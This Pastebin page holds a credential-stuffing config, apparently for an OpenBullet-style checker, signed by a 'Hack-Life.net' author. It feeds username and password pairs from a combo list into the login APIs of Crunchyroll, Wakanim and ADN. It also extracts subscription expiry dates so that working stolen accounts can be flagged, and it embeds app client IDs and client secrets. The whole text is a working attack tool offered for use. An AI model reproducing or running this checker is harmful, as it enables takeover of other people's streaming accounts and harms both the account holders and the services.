Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##Version: 1.2
- ##Changelog:
- ########## - Modification de la condition true/false sur la partie Wakanim
- SET VAR "Test" "0"
- ###TEST D'un compte fonctionnel Crunchyroll
- REQUEST POST "https://api.crunchyroll.com/start_session.0.json" FALSE FALSE TRUE
- "locale=&device_id=00000000-39da-a8a8-2c9a-daeb28838c23&device_type=com.crunchyroll.crunchyroid&version=437&access_token=Scwg9PRRZ19iVwD"
- PARSE SOURCE JSON "session_id" FALSE -> VAR "Session"
- REQUEST POST "https://api.crunchyroll.com/login.0.json" FALSE FALSE TRUE
- "account=<USER>&locale=enUS&password=<PASS>&version=3004.1&session_id=<Session>"
- IF "<SOURCE>" Contains "Incorrect login information"
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #NEXTSTEP1
- ENDIF
- IF "<SOURCE>" Contains "anime|drama|manga"
- PARSE SOURCE LR "expires\":\"" "T" FALSE -> VAR "date"
- FUNCTION Replace "-" "/" FALSE "<date>" -> VAR "date"
- SET CAP "" "Crunchyroll <date>"
- ELSE
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #NEXTSTEP1
- ENDIF
- ###Fin du test Crunchyroll
- ###TEST D'un compte fonctionnel Wakanim
- #NEXTSTEP1 REQUEST POST "https://account.wakanim.tv/core/connect/token" FALSE FALSE TRUE
- "client_id=wakanim.android.test2&grant_type=password&response_type=code+id_token+token&username=<USER>&password=<PASS>&scope=email+openid+profile+offline_access+read&redirect_uri=wakanimandroidapp%3A%2F%2Fcallback&nonce=c9086788-5a7c-4fd9-9ab6-b090408dd86e&state=7a03202d-6100-4814-b106-60e4a3e0dba6&client_secret=F5RB77Q5"
- HEADER "Content-type: application/x-www-form-urlencoded; charset=UTF-8"
- ACCEPT "*/*"
- IF "<SOURCE>" Contains "access_token"
- PARSE SOURCE JSON "access_token" -> VAR "token"
- ELSE
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #NEXTSTEP2
- ENDIF
- REQUEST GET "https://account.wakanim.tv/api/user" FALSE FALSE TRUE
- HEADER "Authorization: Bearer <token>"
- ACCEPT "*/*"
- IF "<SOURCE>" Contains "isSVODAvailable\": true"
- PARSE SOURCE LR "svodEndDateUtc\": \"" "T" FALSE -> VAR "Renouvellement"
- FUNCTION Replace "-" "/" FALSE "<Renouvellement>" -> VAR "Renouvellement"
- SET CAP "" "Wakanim <Renouvellement>"
- ELSE
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #NEXTSTEP2
- ENDIF
- ###Fin du test Wakanim
- ###TEST D'un compte fonctionnel ADN
- #NEXTSTEP2 REQUEST POST "https://animedigitalnetwork.fr/oauth/authenticate"
- "username=<USER>&scope=public%2Cemail%2Csubscription%2Cvideo_access&client_secret=9TEy9oaTWdykEZpQpzYGvsFnBocEDJoNLLnbBzGbaseoxouPx7Qire5vfDzDceGh&client_id=PzQ29NgdQqTFh8JUBTmvfqjhqqqvsRbL&grant_type=password&password=<PASS>&username=<USER>&scope=public%2Cemail%2Csubscription%2Cvideo_access&client_secret=9TEy9oaTWdykEZpQpzYGvsFnBocEDJoNLLnbBzGbaseoxouPx7Qire5vfDzDceGh&client_id=PzQ29NgdQqTFh8JUBTmvfqjhqqqvsRbL&grant_type=password&password=<PASS>&"
- IF "<SOURCE>" Contains "{\"error\":\""
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #FIN
- ELSE
- PARSE SOURCE JSON "access_token" False -> VAR "token"
- REQUEST GET "https://animedigitalnetwork.fr/oauth/user/info"
- HEADER "Authorization: Bearer <token>"
- IF "<SOURCE>" Contains "valid_until\":\""
- PARSE SOURCE LR "valid_until\":\"" "T" FALSE -> VAR "date"
- FUNCTION Replace "-" "/" FALSE "<date>" -> VAR "date"
- SET CAP "" "ADN <date>"
- ELSE
- FUNCTION Compute "<Test>+1" -> VAR "Test"
- JUMP #FIN
- ENDIF
- ###Fin du test ADN
- #FIN PRINT By Zero@Hack-Life.net
- IF "<Test>" EqualTo "3"
- SET Status Fail
- ELSE
- SET STATUS SUCCESS
- ENDIF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement